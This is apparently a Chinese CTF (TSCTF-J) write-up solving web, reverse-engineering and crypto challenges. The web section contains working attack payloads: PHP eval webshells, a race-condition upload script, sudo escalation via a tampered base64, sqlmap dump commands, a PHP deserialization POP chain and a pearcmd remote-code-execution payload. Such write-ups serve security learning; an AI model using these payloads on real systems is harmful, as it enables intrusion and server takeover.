Web 方向

争渡

上传php文件 web返回 已从tmp删除 可知存在时间差

1
2
3
4
<?php
$f = fopen("shell.php", "w");
fputs($f, '<?php @eval($_POST["cmd"]);?>');
?>

利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

url = "http://127.0.0.1:60865/tmp/getshell.php"

while True:
try:
html = requests.get(url, headers=headers, timeout=5) # 设置超时时间,避免无限等待

if html.status_code == 200:
print("OK")
break
else:
print("NO")

# 捕获连接相关异常,避免程序崩溃
except requests.exceptions.ConnectionError:
print("连接被关闭,重试中...")
except requests.exceptions.Timeout:
print("请求超时,重试中...")
except Exception as e:
print(f"其他错误: {e}")

# 每次请求后暂停一小段时间,减少服务器压力
time.sleep(0.4) # 可根据需要调整间隔(如0.1-1秒)

访问成功 后 利用蚁剑连接 可以发现flag需要提权访问
1
2
3
4
5
6
(www-data:/) $ sudo -l
Matching Defaults entries for www-data on ret2shell-116-91-1763539185:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on ret2shell-116-91-1763539185:
(ALL) NOPASSWD: /usr/bin/base64
(www-data:/) $

通过sudo -l 可以知道 可以利用base64 但是 会发现base64 查看flag返回空
说明base64 经过修改 需要查看 他的源码
这里提供两种方法

  1. base32读/usr/bin/base64文件,然后复制到自己电脑上并解码,则可得到base64
  2. 把/usr/bin/base64文件cp到web目录(/var/www/html)下,访问即可下载base64
    逆向后 发现就是给命令执行程序
    1
    sudo base64 "Y2F0" "L2ZsYWc="
    获得flag

EZ_sql

抓包发现是post传参 尝试用sqlmap

1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" –batch

alt text发现存在多种sql漏洞 获取所有数据库
1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch –dbs

alt text
1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch -D welcome --tables

alt text
1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch -D welcome -T flag –dump

alt text
获得flag TSCTF-J{sql_1nj3ct10n_m4573r}

EZ_login

alt text
对网址进行抓包 可以发现 验证码是跟cookie session 绑定的 ,因此保留cookie 对密码进行爆破 可以得到 simple 是密码
alt text
网页提示 不是本地管理员 ,修改请求包 添加X-Forwarded-For: 127.0.0.1 欺骗网址我是本地登录
alt text
对token进行base64解码 获得flag:
TSCTF-J{w31c0m3_70_7h3_w38_j0urn3y}
alt text

Druid

访问127.0.0.1:57735/druid
alt text
猜测 admin为账号密码
alt textalt text
找到用户名Y0v_S22_Dru1d 获得flag

Findsecret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
class SecretVault {
public $accessKey=0;
public $hiddenData ='a:2:{i:0;s:19:"/usr/local/lib/php/";i:1;s:11:"/../pearcmd";}x';
}

class FlagGuardian {
public $puzzle;
public $decoy;
}

class SecretHunter {
public $clue;
public $target = "treasure";
public $tool;
}

class TrapTrigger {
public $trigger;
public $countermeasure;
}
$a= new SecretHunter();
$a->target= new FlagGuardian();
$a->target->puzzle=new SecretVault();
echo urlencode(serialize($a));
$user = unserialize($ser);
?>

构造如上 pop链 触发include 函数 获得序列化值

1
O%3A12%3A%22SecretHunter%22%3A3%3A%7Bs%3A4%3A%22clue%22%3BN%3Bs%3A6%3A%22target%22%3BO%3A12%3A%22FlagGuardian%22%3A2%3A%7Bs%3A6%3A%22puzzle%22%3BO%3A11%3A%22SecretVault%22%3A2%3A%7Bs%3A9%3A%22accessKey%22%3Bi%3A0%3Bs%3A10%3A%22hiddenData%22%3Bs%3A61%3A%22a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22%2Fusr%2Flocal%2Flib%2Fphp%2F%22%3Bi%3A1%3Bs%3A11%3A%22%2F..%2Fpearcmd%22%3B%7Dx%22%3B%7Ds%3A5%3A%22decoy%22%3BN%3B%7Ds%3A4%3A%22tool%22%3BN%3B%7D

传参后 web访问pearcmd..php
alt text
接下来利用 pearcmd 对web传参 实现rce
1
2
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_GET['cmd']);?>+/var/www/html/webshell.php


alt text
注意hackbar 会将<>进行url编码 导致 可执行代码没有被正确识别 所以使用bp传参alt text 访问flag文件
alt text获得flag TSCTF-J{N0w-y0u-kNOW_iNTErEStlng-Pop_@ND_IfI_To_rCE649}

Reverse 方向

Singin

用ida逆向得 以下关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
__int64 sub_140001700()
{
Stream *Stream; // rax
char Buffer[256]; // [rsp+20h] [rbp-60h] BYREF
__int64 Buf2; // [rsp+120h] [rbp+A0h] BYREF
_QWORD v4[4]; // [rsp+128h] [rbp+A8h]
void *Buf1; // [rsp+148h] [rbp+C8h]
const char *WelcomeToTSCTF; // [rsp+150h] [rbp+D0h]
size_t Size; // [rsp+158h] [rbp+D8h]

sub_140001960();
Buf2 = 0x3D13023261347C23LL;
v4[0] = 0x143402370D641267LL;
*(_QWORD *)((char *)v4 + 7) = 0x347024692B7A0314LL;
*(_QWORD *)((char *)&v4[1] + 7) = 0x284202766B703261LL;
Size = 31LL;
sub_1400029A0("please input your flag: ");
Stream = __acrt_iob_func(0);
if ( !fgets(Buffer, 256, Stream) )
return 1LL;
Buffer[strcspn(Buffer, "\n")] = 0;
if ( Size == strlen(Buffer) )
{
WelcomeToTSCTF = "WelcomeToTSCTF";
Buf1 = malloc(Size);
if ( Buf1 )
{
sub_140001660(Buffer, WelcomeToTSCTF, Buf1, Size);
if ( !memcmp(Buf1, &Buf2, Size) )
puts("Correct Flag!");
else
puts("Wrong Flag!");
free(Buf1);
return 0LL;
}
else
{
return 1LL;
}
}
else
{
puts("Wrong Flag!");
return 1LL;
}
}
unsigned __int64 __fastcall sub_140001660(__int64 a1, const char *a2, __int64 a3, unsigned __int64 i_2)
{
size_t v4; // rax
unsigned __int64 i_1; // rax
size_t v6; // [rsp+28h] [rbp-18h]
char *v7; // [rsp+30h] [rbp-10h]
unsigned __int64 i; // [rsp+38h] [rbp-8h]

v4 = strlen(a2);
v7 = (char *)sub_1400014EC(a2, v4);
v6 = strlen(v7);
for ( i = 0LL; ; ++i )
{
i_1 = i;
if ( i >= i_2 )
break;
*(_BYTE *)(a3 + i) = v7[i % v6] ^ *(_BYTE *)(a1 + i);
}
return i_1;
}
_BYTE *__fastcall sub_1400014EC(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 v3; // rax
unsigned __int64 v4; // rax
unsigned __int64 v5; // rax
_BYTE *v6; // [rsp+28h] [rbp-28h]
unsigned __int64 i; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+40h] [rbp-10h]
int v9; // [rsp+48h] [rbp-8h]
int v10; // [rsp+4Ch] [rbp-4h]

sub_140001488(aAbcdefghijklmn); // "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
v6 = malloc(4 * ((i_1 + 2) / 3) + 1);
if ( !v6 )
return 0LL;
v10 = 0;
v9 = -6;
v8 = 0LL;
for ( i = 0LL; i < i_1; ++i )
{
v10 = (v10 << 8) + *(unsigned __int8 *)(a1 + i);
for ( v9 += 8; v9 >= 0; v9 -= 6 )
{
v3 = v8++;
v6[v3] = aAbcdefghijklmn[(v10 >> v9) & 0x3F];// "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
}
}
if ( v9 >= -5 )
{
v4 = v8++;
v6[v4] = aAbcdefghijklmn[(v10 << 8 >> (v9 + 8)) & 0x3F];// "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
}
while ( v8 < 4 * ((i_1 + 2) / 3) )
{
v5 = v8++;
v6[v5] = 61;
}
v6[v8] = 0;
return v6;
}
__int64 __fastcall sub_140001488(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+2Ch] [rbp-4h]

for ( i = 0; i <= 63; ++i )
result = sub_140001450(i + a1, a1 + (7 * i + 5) % 64);
return result;
}

先求自定义的base64编码表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def generate_custom_base64_table():
# 标准Base64字符表
original_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 转换为列表以便进行交换操作
table_list = list(original_table)

# 按照sub_140001488函数的逻辑打乱字符表
# 循环64次,每次交换特定位置的字符
for i in range(64):
# 计算要交换的位置:(7 * i + 5) % 64
pos = (7 * i + 5) % 64

# 交换位置i和pos的字符
table_list[i], table_list[pos] = table_list[pos], table_list[i]

# 转换回字符串并返回
return ''.join(table_list)


# 生成并打印自定义Base64编码表
custom_table = generate_custom_base64_table()
print("自定义Base64编码表:")
print(custom_table)
print("\n编码表长度:", len(custom_table))

得到编码表
1
VkbKJo3PNcCSZQGXdUaLEwOet07jxAWmlsDqp9uf1Riy5F2nIB6rh4/+g8TzMYHv

将WelcomeToTSCTF 用自定义的base64编码表编码得到密钥alt text
1
w/w5t/YF0wUnwoQKwJt=

用这个与buf1 数值异或
1
23 7C 34 61 32 02 13 3D  67 12 64 0D 37 02 34 14  03 7A 2B 69 24 70 34 61  32 70 6B 76 02 42

alt text
TSCTF-J{We1c@me_t0_TS_CTF_2025}

听绿的秘密

用ja-gui 对tinglv.jar 逆向 获得以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;

public class Runner {
static class CustomClassLoader extends ClassLoader {
private final String resourceName;

public CustomClassLoader(String param1String) {
this.resourceName = param1String;
}

protected Class<?> findClass(String param1String) throws ClassNotFoundException {
try {
InputStream inputStream = getResourceAsStream(this.resourceName);
try {
if (inputStream == null)
throw new ClassNotFoundException("Resource not found: " + this.resourceName);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] arrayOfByte1 = new byte[1024];
int i;
while ((i = inputStream.read(arrayOfByte1, 0, arrayOfByte1.length)) != -1)
byteArrayOutputStream.write(arrayOfByte1, 0, i);
byteArrayOutputStream.flush();
byte[] arrayOfByte2 = byteArrayOutputStream.toByteArray();
byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
for (byte b = 0; b < arrayOfByte2.length; b++)
arrayOfByte3[b] = (byte)(arrayOfByte2[b] - 7);
Class<?> clazz = defineClass(param1String, arrayOfByte3, 0, arrayOfByte3.length);
if (inputStream != null)
inputStream.close();
return clazz;
} catch (Throwable throwable) {
if (inputStream != null)
try {
inputStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
} catch (IOException iOException) {
throw new ClassNotFoundException("Can't read this: " + param1String, iOException);
}
}
}

public static void main(String[] paramArrayOfString) {
try {
String str = "Secret.obf";
CustomClassLoader customClassLoader = new CustomClassLoader(str);
Class<?> clazz = customClassLoader.loadClass("Secret");
Method method = clazz.getMethod("main", new Class[] { String[].class });
method.invoke(null, new Object[] { paramArrayOfString });
} catch (Exception exception) {
System.err.println("Error: " + exception.getMessage());
exception.printStackTrace();
}
}
}

分析代码逻辑
解密secret.obf,执行解密后secret.class的程序 ,对cat.png加密得到Where_is_my_cat.png图片
1
2
加密时:原始类文件(.class)的每个字节加 7,得到加密文件(Secret.obf);
解密时:CustomClassLoader对Secret.obf的每个字节减 7,还原出原始的.class字节码。

先将secret.obf 文件解密得到secret.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;

public class Secret {
public static void main(String[] var0) throws Exception {
if (var0.length < 2) {
System.out.println("2 args required.");
} else {
Path var1 = Paths.get(var0[0]);
Path var2 = Paths.get(var0[1]);
byte[] var3 = Files.readAllBytes(var1);
byte[] var4 = Arrays.copyOf(var3, var3.length);
int var5 = 123;

for(int var6 = 0; var6 < var4.length; ++var6) {
int var7 = var4[var6] & 255;
int var8 = (var6 + var5) % 8;
int var9 = var7 + var6 % 251 + var5 & 255;
int var10;
if (var8 == 0) {
var10 = var9;
} else {
var10 = (var9 << var8 | var9 >>> 8 - var8) & 255;
}

var4[var6] = (byte)var10;
var5 = var5 + var10 + 37 & 255;
}

Files.write(var2, var4, new OpenOption[0]);
System.out.println("Done.");
}
}
}

根据secret.class 的加密流程写出解密文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;

public class Decrypt {
public static void main(String[] args) throws Exception {
// 打印当前工作目录(帮助确认文件位置)
String currentDir = System.getProperty("user.dir");
System.out.println("当前工作目录: " + currentDir);

// 可以使用绝对路径(例如:"C:/Users/你的用户名/Desktop/Where_is_my_cat.png")
String encryptedFile = "C:\\Users\\link\\Desktop\\untitled2\\src\\Where_is_my_cat.png"; // 这里可以替换为绝对路径
String decryptedFile = "cat.png";

Path encryptedPath = Paths.get(encryptedFile);
Path decryptedPath = Paths.get(decryptedFile);

// 检查文件是否存在
if (!Files.exists(encryptedPath)) {
System.err.println("错误:找不到文件 " + encryptedPath.toAbsolutePath());
System.err.println("请确认文件是否在上述工作目录中,或修改代码中的文件路径");
return;
}

// 读取加密文件内容
byte[] encryptedData = Files.readAllBytes(encryptedPath);
byte[] decryptedData = new byte[encryptedData.length];

// 初始值与加密时相同
int var5 = 123;

for (int var6 = 0; var6 < encryptedData.length; ++var6) {
int var10 = encryptedData[var6] & 255;
int var8 = (var6 + var5) % 8;

int var9;
if (var8 == 0) {
var9 = var10;
} else {
// 逆转循环左移:进行循环右移var8位
var9 = (var10 >>> var8 | var10 << (8 - var8)) & 255;
}

// 计算原始值
int originalValue = (var9 - (var6 % 251) - var5) & 255;
decryptedData[var6] = (byte) originalValue;

// 更新var5(与加密时逻辑一致)
var5 = (var5 + var10 + 37) & 255;
}

// 写入解密后的文件
Files.write(decryptedPath, decryptedData, new OpenOption[0]);
System.out.println("解密完成,文件已保存为: " + decryptedPath.toAbsolutePath());
}
}

执行程序 得到图片 alt text

CryDancing

解压 ipa文件 对CryDancing 用ida 反汇编 得到如下

主要程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __cdecl -[ViewController checkInput:](ViewController *self, SEL a2, id a3)
{
UITextField *self_1; // x21
NSString *obj; // x19
id self_2; // x21
const __CFString *v7; // x2
const __CFString *v8; // x3

self_1 = objc_retainAutoreleasedReturnValue(-[ViewController textField](self, "textField", a3));
obj = objc_retainAutoreleasedReturnValue(-[UITextField text](self_1, "text"));
objc_release(self_1);
self_2 = objc_retainAutoreleasedReturnValue(+[LynsSecret YouCanSeeThisRight:](&OBJC_CLASS___LynsSecret, "YouCanSeeThisRight:", obj));
if ( (unsigned int)objc_msgSend(
self_2,
"isEqualToString:",
CFSTR("bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==")) )
{
v7 = CFSTR("成功");
v8 = CFSTR("恭喜你!");
}
else
{
v7 = CFSTR("错误");
v8 = CFSTR("好像不对哦!");
}
-[ViewController showAlertWithTitle:message:](self, "showAlertWithTitle:message:", v7, v8);
objc_release(self_2);
objc_release(obj);
}

逻辑: 将flag 加密后的base值与bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==对比

加密flag程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
id __cdecl +[LynsSecret YouCanSeeThisRight:](
__objc2_class *p__OBJC_CLASS_$_LynsSecret,
SEL YouCanSeeThisRight:,
id obj)
{
id self; // x20
id obj_1; // x21
void *self_1; // x19
void *self_3; // x21
void *obj_2; // x20
NSMutableData *self_2; // x23
char *dataOutAvailable; // x24
void *dataOut; // x22
id self_4; // x20
const void *key; // x25
void *keyLength; // x26
NSMutableData *self_5; // x23
const void *iv; // x27
id self_6; // x21
NSData *self_7; // x22
NSString *obj_3; // x24
size_t dataOutMoved; // [xsp+28h] [xbp-58h] BYREF

self = objc_retain(obj);
obj_1 = objc_retainAutoreleasedReturnValue(+[LynsSecret GetKey](&OBJC_CLASS___LynsSecret, "GetKey"));
self_1 = objc_retainAutoreleasedReturnValue(objc_msgSend(&self_, "stringByAppendingFormat:", CFSTR("%@%@%@%@"), obj_1, obj_1, obj_1, obj_1));
objc_release(obj_1);
self_3 = objc_retainAutoreleasedReturnValue(objc_msgSend(self, "dataUsingEncoding:", 4LL));
objc_release(self);
obj_2 = objc_retainAutoreleasedReturnValue(objc_msgSend(self_1, "dataUsingEncoding:", 4LL));
self_2 = objc_retainAutorelease(objc_retainAutoreleasedReturnValue(+[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:", 16LL)));
*(_DWORD *)-[NSMutableData mutableBytes](self_2, "mutableBytes") = 375;
dataOutAvailable = (char *)objc_msgSend(self_3, "length") + 16;
dataOut = malloc((size_t)dataOutAvailable);
dataOutMoved = 0LL;
self_4 = objc_retainAutorelease(obj_2);
key = objc_msgSend(self_4, "bytes");
keyLength = objc_msgSend(self_4, "length");
self_5 = objc_retainAutorelease(self_2);
iv = -[NSMutableData bytes](self_5, "bytes");
self_6 = objc_retainAutorelease(self_3);
CCCrypt(
0,
0,
1u,
key,
(size_t)keyLength,
iv,
objc_msgSend(self_6, "bytes"),
(size_t)objc_msgSend(self_6, "length"),
dataOut,
(size_t)dataOutAvailable,
&dataOutMoved);
self_7 = objc_retainAutoreleasedReturnValue(
+[NSData dataWithBytesNoCopy:length:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:",
dataOut,
dataOutMoved));
obj_3 = objc_retainAutoreleasedReturnValue(-[NSData base64EncodedStringWithOptions:](self_7, "base64EncodedStringWithOptions:", 0LL));
objc_release(self_7);
objc_release(self_5);
objc_release(self_4);
objc_release(self_6);
objc_release(self_1);
return objc_autoreleaseReturnValue(obj_3);
}

程序逻辑:

密钥(Key)处理:生成 AES 加密的密钥

调用LynsSecret的类方法GetKey(),获取原始密钥(假设为K)

将原始密钥K拼接4次(K + K + K + K),生成最终AES密钥(Key = KKKK)

输入文本预处理:转为二进制数据

保留用户输入的原始文本obj

将用户输入的文本obj以UTF-8编码(4LL)转为二进制数据(加密需要二进制输入)

目的:AES 加密算法的输入必须是二进制数据(NSData),因此需先将用户输入的字符串(NSString)转为 UTF-8 编码的二进制。

初始化向量(IV)固定:AES-CBC 模式的必要参数

  1. 创建长度为16字节的可变二进制数据(AES的IV固定为16字节,对应128位)
    1
    self_2 = objc_retainAutorelease(objc_retainAutoreleasedReturnValue(+[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:", 16LL)));
  2. 将IV的第一个32位(4字节)赋值为375(十六进制0x177,二进制固定)
    1
    *(_DWORD *)-[NSMutableData mutableBytes](self_2, "mutableBytes") = 375;
    即17700000000000000000000000000000

    检索密钥程序

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    id __cdecl +[LynsSecret GetKey](__objc2_class *p__OBJC_CLASS_$_LynsSecret, SEL GetKey)
    {
    __int64 n25_3; // x8
    __int64 n25_4; // x9
    char v5; // w28
    __int64 n25_5; // x8
    char v7; // w27
    __int64 v8; // x24
    char v9; // w26
    NSString *obj; // x21
    void *self; // x22
    unsigned __int8 v12; // w23
    __int64 n25_2; // [xsp+0h] [xbp-70h]
    __int64 n25_1; // [xsp+8h] [xbp-68h]
    __int64 n25; // [xsp+10h] [xbp-60h]
    _BYTE nullTerminatedCString[5]; // [xsp+1Bh] [xbp-55h] BYREF

    n25_3 = 0LL;
    nullTerminatedCString[4] = 0;
    LABEL_2:
    n25_4 = 0LL;
    n25_2 = n25_3;
    v5 = aAbcdefghijklmn[n25_3];
    LABEL_3:
    n25_5 = 0LL;
    n25_1 = n25_4;
    v7 = aAbcdefghijklmn[n25_4];
    LABEL_4:
    v8 = 0LL;
    n25 = n25_5;
    v9 = aAbcdefghijklmn[n25_5];
    while ( 1 )
    {
    nullTerminatedCString[0] = v5;
    nullTerminatedCString[1] = v7;
    nullTerminatedCString[2] = v9;
    nullTerminatedCString[3] = aAbcdefghijklmn[v8];
    obj = objc_retainAutoreleasedReturnValue(
    +[NSString stringWithUTF8String:](
    &OBJC_CLASS___NSString,
    "stringWithUTF8String:",
    nullTerminatedCString,
    n25_2));
    self = objc_retainAutoreleasedReturnValue(-[__objc2_class md5FromString:](p__OBJC_CLASS_$_LynsSecret, "md5FromString:", obj));
    v12 = (unsigned __int8)objc_msgSend(self, "isEqualToString:", CFSTR("674040176a34f6c994003fe85badfc48"));
    objc_release(self);
    if ( (v12 & 1) != 0 )
    return objc_autoreleaseReturnValue(obj);
    objc_release(obj);
    if ( ++v8 == 26 )
    {
    n25_5 = n25 + 1;
    if ( n25 != 25 )
    goto LABEL_4;
    n25_4 = n25_1 + 1;
    if ( n25_1 != 25 )
    goto LABEL_3;
    n25_3 = n25_2 + 1;
    if ( n25_2 != 25 )
    goto LABEL_2;
    obj = 0LL;
    return objc_autoreleaseReturnValue(obj);
    }
    }
    }
    通过分析 可知 GetKey 返回值是 NOTD
    所以AES 密钥 为 NOTDNOTDNOTDNOTD
    1
    2
    3
    4
    5
    6
    7
    8
    9
    CCCrypt(
    0, // 操作类型:0 表示加密(kCCEncrypt)
    0, // 加密算法:0 对应 kCCAlgorithmAES(AES 算法)
    1u, // 选项标志:1 对应 kCCOptionPKCS7Padding(PKCS7 填充,AES 分组加密需填充)
    key, // 密钥(由 LynsSecret 类的逻辑生成)
    keyLength, // 密钥长度(符合 AES 128/192/256 位规范)
    iv, // 初始化向量(IV),CBC 模式必需,ECB 模式无此参数
    ...
    );
    由这个可知 运算模式cbc 填充模式pkcs7
    总流程: 将flag AES 加密后的16进制值 进行base64解码 对比是否吻合
    1
    bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==
    alt textalt text
    获得flag TSCTF-J{S0rry_th3_4nswer_h4s_n0thing_2_do_with_l7rics}

    Crypto 方向

    Cantor’s gifts

    计算flag 的代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from math import factorial

    # 已知条件
    hint = 2498752981111460725490082182453813672840574
    hint2 = b'5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t'
    n = len(hint2) # 消息长度

    def lehmer_to_permutation(lehmer_code, n):
    """将Lehmer编码转换为排列"""
    permutation = []
    available = list(range(1, n+1)) # 可用数字列表,从1到n

    for i in range(n):
    # 计算阶乘
    fact = factorial(n - i - 1)
    # 确定当前位置的数字索引
    index = lehmer_code // fact
    lehmer_code = lehmer_code % fact
    # 选择数字并从可用列表中移除
    permutation.append(available[index])
    del available[index]

    return permutation

    # 从hint获取reflection排列
    reflection = lehmer_to_permutation(hint, n)

    # 创建逆映射:从位置映射到原始索引
    inverse_reflection = [0] * n
    for idx, pos in enumerate(reflection):
    inverse_reflection[pos - 1] = idx # 调整为0-based索引

    # 恢复原始消息
    original_message = bytearray(n)
    for i in range(n):
    original_message[i] = hint2[inverse_reflection[i]]

    # 构造flag
    flag = b'TSCTF-J{' + original_message + b'}'

    print("原始消息:", original_message)
    print("Flag:", flag.decode())
    TSCTF-J{c4nt0r5_g1ft_f0r_th3_f1r5t_y0u_t0_m3t}

野狐禅

recover

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import math
from sympy import Matrix


def long_to_bytes(n):
if n == 0:
return b''
return n.to_bytes((n.bit_length() + 7) // 8, 'big')


def main():
with open("challenge.txt", "r") as f:
lines = f.readlines()

n = int(lines[0].split(": ")[1])
g = int(lines[1].split(": ")[1])
k = int(lines[2].split(": ")[1])
eqs = int(lines[3].split(": ")[1])

ciphertexts = []
for i in range(4, 4 + 2 * k):
ciphertexts.append(int(lines[i].strip()))

lcg_raws = []
for i in range(4 + 2 * k, 4 + 4 * k):
lcg_raws.append(int(lines[i].strip()))

S = lcg_raws

D = []
for i in range(1, len(S)):
D.append(S[i] - S[i - 1])

T = []
for i in range(len(D) - 2):
T.append(D[i] * D[i + 2] - D[i + 1] * D[i + 1])

M = T[0]
for i in range(1, len(T)):
M = math.gcd(M, T[i])
M = abs(M)
m = M

found = False
a = None
b = None
for i in range(1, len(S) - 2):
d0 = S[i] - S[i - 1]
d1 = S[i + 1] - S[i]
if math.gcd(d0, m) == 1:
a = (d1 * pow(d0, -1, m)) % m
b = (S[i] - a * S[i - 1]) % m
found = True
break

if not found:
d0 = S[1] - S[0]
d1 = S[2] - S[1]
g = math.gcd(d0, m)
if d1 % g != 0:
print("Error: Cannot solve for a and b")
return
m1 = m // g
d01 = d0 // g
d11 = d1 // g
a0 = (d11 * pow(d01, -1, m1)) % m1
for t in range(g):
a_candidate = a0 + t * m1
b_candidate = (S[1] - a_candidate * S[0]) % m
if (a_candidate * S[1] + b_candidate) % m == S[2]:
a = a_candidate
b = b_candidate
found = True
break
if not found:
print("Error: Cannot find a and b")
return

n2 = n * n
y_values = []
for i in range(len(ciphertexts)):
c = ciphertexts[i]
raw = lcg_raws[i]
r = raw % n
r_n = pow(r, n, n2)
inv_r_n = pow(r_n, -1, n2)
X = (c * inv_r_n) % n2
m_val = (X - 1) // n
y_values.append(m_val)

A = []
b = []
for i in range(k):
row = []
for j in range(k):
index = i + k - 1 - j
row.append(y_values[index])
A.append(row)
b.append(y_values[k + i])

A_mat = Matrix(A)
b_mat = Matrix(b)
if A_mat.det() == 0:
print("Error: Matrix A is singular")
return
x = A_mat.inv() * b_mat
coeffs = [int(x_i) for x_i in x]

n_flag = 0
for i in range(len(coeffs)):
n_flag += coeffs[i] * (3 ** i)

flag = long_to_bytes(n_flag)
print(flag.decode())


if __name__ == "__main__":
main()

  1. 读取挑战数据
    从challenge.txt中读取关键信息:Paillier 加密的公钥n、g,系数长度k,方程组数量eqs,以及加密后的密文列表和 LCG 生成器的原始输出值。
  2. 破解 LCG 参数(m, a, b)
    LCG(线性同余生成器)的状态更新公式为state = (a state + b) % m,题解通过以下方式破解其参数:
    计算 LCG 输出序列的一阶差分D(相邻元素的差),利用 LCG 的性质,差分序列满足D[i+1] = a
    D[i] % m。
    计算二阶差分相关的T序列(T[i] = D[i]D[i+2] - D[i+1]^2),这些T值均为m的倍数,因此它们的最大公约数即为m。
    已知m后,利用一阶差分D求解a(比例系数)和b(偏移量),通过线性同余方程D[i+1] ≡ a
    D[i] mod m反推a,再代入状态公式求b。
  3. 解密得到 y 序列
    题目中使用简化的 Paillier 加密y值,加密公式为c = (g^m_val r^n) % n²(g = n+1)。解密过程:
    由 LCG 的原始输出raw计算r = raw % n,并得到r^n mod n²。
    求r^n的模逆,与密文c相乘,得到g^m_val mod n²。
    利用g = n+1的性质,(n+1)^m_val ≈ 1 + m_val
    n mod n²(二项式展开近似),因此(g^m_val - 1) // n即为原始y值。
  4. 解线性方程组求系数 coeffs
    题目中y序列的后半部分是前半部分与coeffs的线性组合(y[k+i] = sum(coeffs[j] y[i+k-1-j]))。据此构建线性方程组:
    矩阵A的行由前k个y值的滑动窗口组成。
    向量b由后半部分的y值组成。
    求解方程组A
    coeffs = b,得到coeffs(flag 的三进制表示系数)。
